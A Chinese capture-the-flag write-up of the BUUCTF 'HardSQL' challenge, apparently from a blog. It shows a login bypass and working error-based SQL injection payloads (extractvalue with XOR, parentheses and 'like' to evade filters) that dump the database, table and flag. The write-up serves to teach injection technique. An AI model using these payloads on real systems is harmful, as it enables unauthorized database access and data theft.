练习 6 Web [极客大挑战 2019]HardSQL

极客大挑战 2019HardSQL

先尝试登录,查看报错信息

  • admin =111 password =1111 登录失败
  • admin =111 password =1'or'1 登录成功

这里直接试了万能密码成功,复习一下,第一个 ' 是为了闭合前面的sql语句,最后的1后面没有 ' 是因为默认情况下,通常sql语句会以' 结尾,我们注入的是'1,实际解析出来就是'1',不会报错。

参考文章:万能密码'or'的原理

然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住

做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑"报错注入"的方式。

SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-极客大挑战 2019HardSQL 1详解

报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

此题尝试使用

extractvalue(xml_document.Xpath_string)

作用:

查询一个名叫"xml_document"的文档

路径为"Xpath_string"

构造注入语句

extractvalue(1,concat('0x7e',select(database())))%23

'or extractvalue() 中间的这个空格也会被过滤,再查wp
用'^'来连接函数,形成异或

php 复制代码
?username=111&password=1111'^extractvalue

失败,检查一下括号少了,(select(database()))要括起来

爆出库名:geek

爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:

php 复制代码
?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23

表名:H4rDsq1

爆破字段内容:

php 复制代码
select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23

继续查找flag:

php 复制代码
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

获得:flag{327111be-7867-495c-872d-51

'}'不见了,flag应该还有一半未显示

使用right(value,str_length)函数

?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

获得:e-7867-495c-872d-511f0cc4fc08}

拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}

提交错误

中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是'7111be'开头

才发现这个flag很短。。

flag{327111be-7867-495c-872d-511f0cc4fc08}

提交正确

相关推荐
zzzzzz3103 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
云技纵横5 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
BD_Marathon7 天前
SQL学习指南——视图
数据库·sql
2601_962072557 天前
李梦娇常识4600问|题库|打印版
sql·华为od·华为·c#·华为云·.net·harmonyos
HackTwoHub7 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
Volunteer Technology7 天前
Flink Table API与SQL(一)
大数据·sql·flink
持敬chijing7 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Theo·Chan7 天前
更换 Kingbase V9 License 踩坑记
sql·信创·kingbase
yangshicong7 天前
第16章:AI数据分析与Text-to-SQL
人工智能·python·sql·数据分析·langchain
Chengbei117 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss